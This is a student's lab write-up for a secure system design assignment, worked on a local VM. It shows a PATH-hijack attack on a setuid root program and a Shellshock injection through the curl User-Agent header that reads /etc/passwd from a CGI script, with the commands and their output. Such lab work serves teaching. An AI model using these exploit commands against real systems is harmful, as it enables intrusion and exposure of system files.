Ashutosh Mishra
1601CS06
Secure System Design Assignment 2

Task 1: Output of diff command:

```
[01/29/19]seed@VM:~/ssd$ diff a2c.txt a2p.txt
68c68
< _=./a2child
---
> _=./a2par
[01/29/19]seed@VM:~/ssd$
```

As we can see, all environment variables are the same.

Task 2: Yes, we can make it run our own malicious "ls" command. Our program runs with root privilege only when sh is linked with zsh.

```
[01/29/19]seed@VM:~/ssd$ ./a22
I am malicious ls
[01/29/19]seed@VM:~/ssd$ sudo rm /bin/sh
[01/29/19]seed@VM:~/ssd$ sudo ln -s /bin/zsh /bin/sh
[01/29/19]seed@VM:~/ssd$ ./a22
I am malicious ls
[01/29/19]seed@VM:~/ssd$ ls -l a22
-rwsr-xr-x 1 root seed 7344 Jan 29 10:55 a22
[01/29/19]seed@VM:~/ssd$
```

Task 3: As shown in the above image, the attack succeeds.

Task 4: We can pass data to bash using the HTTP_USER_AGENT environment variable.

```
[01/30/19]seed@VM:.../cgi-bin$ curl http://localhost/cgi-bin/mypro
g.cgi -A "hi"
****** Environment Variables ******
HTTP_HOST=localhost
HTTP_USER_AGENT=hi
```

Here, "hi" has been passed via the variable.

We can read /etc/passwd like this:

```
[01/30/19]seed@VM:.../cgi-bin$ curl http://localhost/cgi-bin/mypro
g.cgi -A "() { echo hello;}; echo Content-type: text/plain; echo;
/bin/cat /etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
```

We cannot steal data from /etc/shadow because we cannot open that file using this method.